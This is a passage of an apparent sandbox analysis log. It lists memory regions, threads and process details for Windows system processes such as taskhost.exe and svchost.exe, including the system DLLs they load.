end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9981 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 10001 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 10002 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 10003 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 10004 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 10005 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 10126 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 10127 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 10128 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 10129 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 10130 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 10152 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 10153 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 10154 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 10155 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 10156 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 10276 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 10277 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 10278 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 10279 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 10280 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 10301 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 10302 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 10303 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 10304 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 10305 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 10425 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 10426 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 10427 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 10428 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 10429 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 10451 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 10452 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 10453 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 10454 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 10455 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 10589 start_va = 0x2a6e3c0000 end_va = 0x2a6e43ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6e3c0000" filename = "" Region: id = 10590 start_va = 0x2a6efc0000 end_va = 0x2a6efc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6efc0000" filename = "" Region: id = 10591 start_va = 0x7ff755556000 end_va = 0x7ff755557fff entry_point = 0x0 region_type = private name = "private_0x00007ff755556000" filename = "" Region: id = 10592 start_va = 0x2a6efc0000 end_va = 0x2a6efc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6efc0000" filename = "" Region: id = 10593 start_va = 0x2a6efd0000 end_va = 0x2a6efd0fff entry_point = 0x0 region_type = private name = "private_0x0000002a6efd0000" filename = "" Region: id = 10607 start_va = 0x2a6e3c0000 end_va = 0x2a6e43ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6e3c0000" filename = "" Region: id = 10608 start_va = 0x2a6efc0000 end_va = 0x2a6efc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6efc0000" filename = "" Region: id = 10609 start_va = 0x7ff755556000 end_va = 0x7ff755557fff entry_point = 0x0 region_type = private name = "private_0x00007ff755556000" filename = "" Region: id = 10610 start_va = 0x2a6efc0000 end_va = 0x2a6efc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6efc0000" filename = "" Region: id = 10611 start_va = 0x2a6efd0000 end_va = 0x2a6efd0fff entry_point = 0x0 region_type = private name = "private_0x0000002a6efd0000" filename = "" Thread: id = 412 os_tid = 0x424 Thread: id = 416 os_tid = 0x434 Thread: id = 422 os_tid = 0x458 Thread: id = 423 os_tid = 0x464 Thread: id = 424 os_tid = 0x468 Thread: id = 425 os_tid = 0x46c Thread: id = 543 os_tid = 0x64c Thread: id = 545 os_tid = 0x658 Thread: id = 546 os_tid = 0x65c Thread: id = 547 os_tid = 0x660 Thread: id = 577 os_tid = 0x6d8 Thread: id = 578 os_tid = 0x6dc Thread: id = 759 os_tid = 0x8b4 Thread: id = 770 os_tid = 0x8e0 Thread: id = 776 os_tid = 0x8f8 Thread: id = 779 os_tid = 0x904 Thread: id = 784 os_tid = 0x91c Thread: id = 787 os_tid = 0x928 Thread: id = 792 os_tid = 0x940 Thread: id = 795 os_tid = 0x94c Thread: id = 802 os_tid = 0x968 Thread: id = 805 os_tid = 0x974 Thread: id = 810 os_tid = 0x98c Thread: id = 813 os_tid = 0x998 Thread: id = 818 os_tid = 0x9b0 Thread: id = 821 os_tid = 0x9bc Thread: id = 832 os_tid = 0x9f0 Thread: id = 835 os_tid = 0x9fc Thread: id = 845 os_tid = 0xa28 Thread: id = 848 os_tid = 0xa34 Thread: id = 852 os_tid = 0xa4c Thread: id = 855 os_tid = 0xa58 Thread: id = 861 os_tid = 0xa70 Thread: id = 864 os_tid = 0xa7c Thread: id = 869 os_tid = 0xa94 Thread: id = 872 os_tid = 0xaa0 Thread: id = 877 os_tid = 0xab8 Thread: id = 880 os_tid = 0xac4 Thread: id = 885 os_tid = 0xadc Thread: id = 888 os_tid = 0xae8 Thread: id = 893 os_tid = 0xb00 Thread: id = 896 os_tid = 0xb0c Thread: id = 901 os_tid = 0xb24 Thread: id = 904 os_tid = 0xb30 Thread: id = 909 os_tid = 0xb4c Thread: id = 914 os_tid = 0xb5c Thread: id = 917 os_tid = 0xb68 Process: id = "56" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x62147000" os_pid = "0x438" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x320" cmd_line = "taskhost.exe USER" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4895 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4896 start_va = 0x6ee2680000 end_va = 0x6ee269ffff entry_point = 0x0 region_type = private name = "private_0x0000006ee2680000" filename = "" Region: id = 4897 start_va = 0x6ee26a0000 end_va = 0x6ee26aefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ee26a0000" filename = "" Region: id = 4898 start_va = 0x6ee26b0000 end_va = 0x6ee272ffff entry_point = 0x0 region_type = private name = "private_0x0000006ee26b0000" filename = "" Region: id = 4899 start_va = 0x6ee2730000 end_va = 0x6ee2733fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ee2730000" filename = "" Region: id = 4900 start_va = 0x7ff7f4780000 end_va = 0x7ff7f47a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7f4780000" filename = "" Region: id = 4901 start_va = 0x7ff7f47a9000 end_va = 0x7ff7f47a9fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f47a9000" filename = "" Region: id = 4902 start_va = 0x7ff7f47ae000 end_va = 0x7ff7f47affff entry_point = 0x0 region_type = private name = "private_0x00007ff7f47ae000" filename = "" Region: id = 4903 start_va = 0x7ff7f4a20000 end_va = 0x7ff7f4a35fff entry_point = 0x7ff7f4a2309c region_type = mapped_file name = "taskhost.exe" filename = "\\Windows\\System32\\taskhost.exe" (normalized: "c:\\windows\\system32\\taskhost.exe") Region: id = 4904 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4905 start_va = 0x6ee2740000 end_va = 0x6ee2740fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ee2740000" filename = "" Region: id = 4906 start_va = 0x6ee2750000 end_va = 0x6ee2751fff entry_point = 0x0 region_type = private name = "private_0x0000006ee2750000" filename = "" Region: id = 4977 start_va = 0x6ee2830000 end_va = 0x6ee292ffff entry_point = 0x0 region_type = private name = "private_0x0000006ee2830000" filename = "" Region: id = 4978 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4979 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4980 start_va = 0x6ee2680000 end_va = 0x6ee268ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ee2680000" filename = "" Region: id = 4981 start_va = 0x7ff7f4680000 end_va = 0x7ff7f477ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7f4680000" filename = "" Region: id = 4982 start_va = 0x6ee2760000 end_va = 0x6ee27ddfff entry_point = 0x6ee2760000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4983 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4984 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4985 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4986 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4987 start_va = 0x6ee2930000 end_va = 0x6ee2a6ffff entry_point = 0x0 region_type = private name = "private_0x0000006ee2930000" filename = "" Region: id = 4988 start_va = 0x6ee2690000 end_va = 0x6ee2696fff entry_point = 0x0 region_type = private name = "private_0x0000006ee2690000" filename = "" Region: id = 4989 start_va = 0x6ee2a70000 end_va = 0x6ee2be6fff entry_point = 0x6ee2a710b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5005 start_va = 0x6ee2930000 end_va = 0x6ee29e9fff entry_point = 0x6ee295c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 5006 start_va = 0x6ee2a60000 end_va = 0x6ee2a6ffff entry_point = 0x0 region_type = private name = "private_0x0000006ee2a60000" filename = "" Region: id = 5007 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 5008 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5009 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 5010 start_va = 0x6ee27e0000 end_va = 0x6ee27e6fff entry_point = 0x0 region_type = private name = "private_0x0000006ee27e0000" filename = "" Region: id = 5120 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5126 start_va = 0x6ee2930000 end_va = 0x6ee29affff entry_point = 0x0 region_type = private name = "private_0x0000006ee2930000" filename = "" Region: id = 5127 start_va = 0x7ff7f47ac000 end_va = 0x7ff7f47adfff entry_point = 0x0 region_type = private name = "private_0x00007ff7f47ac000" filename = "" Region: id = 5128 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5129 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5130 start_va = 0x6ee27f0000 end_va = 0x6ee2823fff entry_point = 0x6ee27f1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5131 start_va = 0x6ee2a70000 end_va = 0x6ee2bf7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ee2a70000" filename = "" Region: id = 5132 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5133 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5134 start_va = 0x6ee2c00000 end_va = 0x6ee2d80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ee2c00000" filename = "" Region: id = 5135 start_va = 0x6ee2d90000 end_va = 0x6ee418ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ee2d90000" filename = "" Region: id = 5136 start_va = 0x6ee27f0000 end_va = 0x6ee27f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ee27f0000" filename = "" Region: id = 5137 start_va = 0x6ee2800000 end_va = 0x6ee2800fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ee2800000" filename = "" Region: id = 5138 start_va = 0x6ee2810000 end_va = 0x6ee2810fff entry_point = 0x6ee2810000 region_type = mapped_file name = "taskhost.exe.mui" filename = "\\Windows\\System32\\en-US\\taskhost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskhost.exe.mui") Region: id = 5139 start_va = 0x6ee2820000 end_va = 0x6ee2820fff entry_point = 0x0 region_type = private name = "private_0x0000006ee2820000" filename = "" Region: id = 5140 start_va = 0x6ee29b0000 end_va = 0x6ee29b0fff entry_point = 0x0 region_type = private name = "private_0x0000006ee29b0000" filename = "" Region: id = 5141 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 5142 start_va = 0x6ee29c0000 end_va = 0x6ee29cffff entry_point = 0x0 region_type = private name = "private_0x0000006ee29c0000" filename = "" Region: id = 5165 start_va = 0x6ee29d0000 end_va = 0x6ee29d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ee29d0000" filename = "" Region: id = 5166 start_va = 0x6ee4190000 end_va = 0x6ee427ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ee4190000" filename = "" Region: id = 5167 start_va = 0x6ee29d0000 end_va = 0x6ee29d3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ee29d0000" filename = "" Region: id = 5168 start_va = 0x6ee29e0000 end_va = 0x6ee29e6fff entry_point = 0x0 region_type = private name = "private_0x0000006ee29e0000" filename = "" Region: id = 5191 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 5197 start_va = 0x6ee4280000 end_va = 0x6ee42fffff entry_point = 0x0 region_type = private name = "private_0x0000006ee4280000" filename = "" Region: id = 5198 start_va = 0x7ff7f47aa000 end_va = 0x7ff7f47abfff entry_point = 0x0 region_type = private name = "private_0x00007ff7f47aa000" filename = "" Region: id = 5199 start_va = 0x6ee4300000 end_va = 0x6ee437ffff entry_point = 0x0 region_type = private name = "private_0x0000006ee4300000" filename = "" Region: id = 5200 start_va = 0x7ff7f47a7000 end_va = 0x7ff7f47a8fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f47a7000" filename = "" Region: id = 5216 start_va = 0x6ee29f0000 end_va = 0x6ee29f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ee29f0000" filename = "" Region: id = 5217 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 5218 start_va = 0x6ee2a00000 end_va = 0x6ee2a00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006ee2a00000" filename = "" Region: id = 5219 start_va = 0x7ffd163d0000 end_va = 0x7ffd163dcfff entry_point = 0x7ffd163d0000 region_type = mapped_file name = "dimsjob.dll" filename = "\\Windows\\System32\\dimsjob.dll" (normalized: "c:\\windows\\system32\\dimsjob.dll") Region: id = 5921 start_va = 0x7ffd190d0000 end_va = 0x7ffd1926cfff entry_point = 0x7ffd190d135c region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 5922 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 6047 start_va = 0x7ffd15310000 end_va = 0x7ffd1534cfff entry_point = 0x7ffd153158fc region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 6048 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 6049 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6050 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 6051 start_va = 0x6ee4380000 end_va = 0x6ee4654fff entry_point = 0x6ee4380000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6054 start_va = 0x6ee4660000 end_va = 0x6ee46dffff entry_point = 0x0 region_type = private name = "private_0x0000006ee4660000" filename = "" Region: id = 6055 start_va = 0x6ee46e0000 end_va = 0x6ee475ffff entry_point = 0x0 region_type = private name = "private_0x0000006ee46e0000" filename = "" Region: id = 6056 start_va = 0x7ff7f47a3000 end_va = 0x7ff7f47a4fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f47a3000" filename = "" Region: id = 6057 start_va = 0x7ff7f47a5000 end_va = 0x7ff7f47a6fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f47a5000" filename = "" Region: id = 6927 start_va = 0x7ffd13010000 end_va = 0x7ffd1301dfff entry_point = 0x7ffd13016ff4 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Thread: id = 417 os_tid = 0x43c Thread: id = 434 os_tid = 0x48c Thread: id = 438 os_tid = 0x4a0 Thread: id = 439 os_tid = 0x4a4 Thread: id = 553 os_tid = 0x66c Thread: id = 554 os_tid = 0x670 Process: id = "57" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x66658000" os_pid = "0x440" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\NcdAutoSetup" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ec66" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Region: id = 4907 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4908 start_va = 0xffdc20000 end_va = 0xffdc3ffff entry_point = 0x0 region_type = private name = "private_0x0000000ffdc20000" filename = "" Region: id = 4909 start_va = 0xffdc40000 end_va = 0xffdc4efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffdc40000" filename = "" Region: id = 4910 start_va = 0xffdc50000 end_va = 0xffdccffff entry_point = 0x0 region_type = private name = "private_0x0000000ffdc50000" filename = "" Region: id = 4911 start_va = 0xffdcd0000 end_va = 0xffdcd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffdcd0000" filename = "" Region: id = 4912 start_va = 0x7ff618210000 end_va = 0x7ff618232fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff618210000" filename = "" Region: id = 4913 start_va = 0x7ff61823a000 end_va = 0x7ff61823afff entry_point = 0x0 region_type = private name = "private_0x00007ff61823a000" filename = "" Region: id = 4914 start_va = 0x7ff61823e000 end_va = 0x7ff61823ffff entry_point = 0x0 region_type = private name = "private_0x00007ff61823e000" filename = "" Region: id = 4915 start_va = 0x7ff618320000 end_va = 0x7ff61832bfff entry_point = 0x7ff61832218c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 4916 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4917 start_va = 0xffdce0000 end_va = 0xffdce0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffdce0000" filename = "" Region: id = 4918 start_va = 0xffdcf0000 end_va = 0xffdcf1fff entry_point = 0x0 region_type = private name = "private_0x0000000ffdcf0000" filename = "" Region: id = 4920 start_va = 0xffde30000 end_va = 0xffdf2ffff entry_point = 0x0 region_type = private name = "private_0x0000000ffde30000" filename = "" Region: id = 4921 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4922 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4923 start_va = 0xffdc20000 end_va = 0xffdc2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffdc20000" filename = "" Region: id = 4924 start_va = 0x7ff618110000 end_va = 0x7ff61820ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff618110000" filename = "" Region: id = 4925 start_va = 0xffdd00000 end_va = 0xffdd7dfff entry_point = 0xffdd00000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4926 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4927 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff 